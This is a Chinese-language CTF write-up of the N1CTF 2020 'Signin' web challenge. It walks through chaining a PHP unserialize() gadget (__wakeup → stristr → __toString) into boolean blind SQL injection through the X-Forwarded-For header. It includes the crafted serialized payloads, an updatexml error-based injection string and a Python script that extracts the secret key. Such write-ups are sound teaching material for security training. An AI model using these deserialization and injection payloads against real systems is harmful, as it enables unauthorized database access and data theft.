N1CTF-WEB

Signin

<?php 
class ip {
    public $ip;
    public function waf($info){
    }
    public function __construct() {
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
        }else{
            $this->ip =$_SERVER["REMOTE_ADDR"];
        }
    }
    public function __toString(){
        $con=mysqli_connect("localhost","root","********","n1ctf_websign");
        $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
        if(!mysqli_query($con,$sqlquery)){
            return mysqli_error($con);
        }else{
            return "your ip looks ok!";
        }
        mysqli_close($con);
    }
}

class flag {
    public $ip;
    public $check;
    public function __construct($ip) {
        $this->ip = $ip;
    }
    public function getflag(){
    	if(md5($this->check)===md5("key****************")){
    		readfile('/flag');
    	}
        return $this->ip;
    }
    public function __wakeup(){
        if(stristr($this->ip, "n1ctf")!==False)
            $this->ip = "welcome to n1ctf2020";
        else
            $this->ip = "noip";
    }
    public function __destruct() {
        echo $this->getflag();
    }

}
if(isset($_GET['input'])){
    $input = $_GET['input'];
	unserialize($input);
} 

getflag(),需要获取一个key值,读取/flag,使用的是全等于,所以应该需要在其他地方找到这个key值。

public function getflag(){
    if(md5($this->check)===md5("key****************")){
        readfile('/flag');
    }
    return $this->ip;
}

代码很短,第一感觉能获取到key值的地方就是ip类中的__toString()方法,这里面通过sprintf拼接sql语句后放入数据库中执行,且拼接语句中的$_SERVER['HTTP_X_FORWARDED_FOR']我们可以通过在HTTP头添加XFF来控制。需要找到一个地方触发ip类的__toString()方法,然后添加XFF就能实现注入了。

public function __toString(){
    $con=mysqli_connect("localhost","root","********","n1ctf_websign");
    $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
    if(!mysqli_query($con,$sqlquery)){
        return mysqli_error($con);
    }else{
        return "your ip looks ok!";
    }
    mysqli_close($con);
}

在flag类的__wakeup()方法中看到stristr(),这个方法是忽略大小写版本的strstr,即忽略大小写的字符串查找。并且如果stristr()中的参数为实例化对象时,会调用__toString()来转换成字符串。而正好这个stristr()的$this->ip我们可以使用反序列化来控制,那么就可以通过将$this->ip设置成new ip()来调用ip类的__toString()方法。首先生成序列化数据:

$f = new flag(new ip());
echo serialize($f);

构造反序列化http://101.32.205.189/?input=O:4:%22flag%22:2:{s:2:%22ip%22;O:2:%22ip%22;1:{s:2:%22ip%22;s:9:%22127.0.0.1%22:}s:5:%22check%22:N;}

我们控制调用ip类__toString()的地方,是在__toString()return结果中查找字符串n1ctf。

   public function __wakeup(){
        if(stristr($this->ip, "n1ctf")!==False)
            $this->ip = "welcome to n1ctf2020";
        else
            $this->ip = "noip";
    }

我们可以通过利用__toString()会返回sql执行报错信息这一点,用报错注入来控制报错信息中出现n1ctf即可。
payload:X-Forwarded-for: ' or updatexml(1,concat(0x7e,(select if((1=1),'n1ctf',0)),0x7e),1) or '
if为真时,返回n1ctf,__wakeup()的stristr()查询到n1ctf在页面中打印welcome to n1ctf2020,if为假时返回noip,妥妥的布尔盲注。

接下来上大佬的脚本跑key值

# coding: utf-8

import requests

word = '1234567890qwertyuioplkjhgfdsazxcvbnm'
url = 'http://101.32.205.189/?input=O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";s:9:"127.0.0.1";}s:5:"check";N;}'
for a in range(1,50):
    for ch in word:
        payload = f'\' or updatexml(1,concat(0x7e,(select if((substring((select `key` from n1key),{a},1)=\'{ch}\'),\'n1ctf\',0)),0x7e),1) or \''

        sess = requests.session()
        head = {'X-Forwarded-for': payload}
        resp = sess.get(url, headers=head)
        if '<code>welcome to n1ctf2020</code>' in resp.text:
            # print(str(a) + ': ' + ch)
            print(ch, end='')

得到key值为n1ctf20205bf75ab0a30dfc0c然后继续构造payload=http://101.32.205.189/?input=O:4:%22flag%22:2:{s:2:%22ip%22;O:2:%22ip%22:1:{s:2:%22ip%22;N;}s:5:%22check%22;s:25:%22n1ctf20205bf75ab0a30dfc0c%22;}

n1ctf{you_g0t_1t_hack_for_fun}

posted @ 2020-10-20 20:35  WANGXIN_YU  阅读(151)  评论(0)    收藏  举报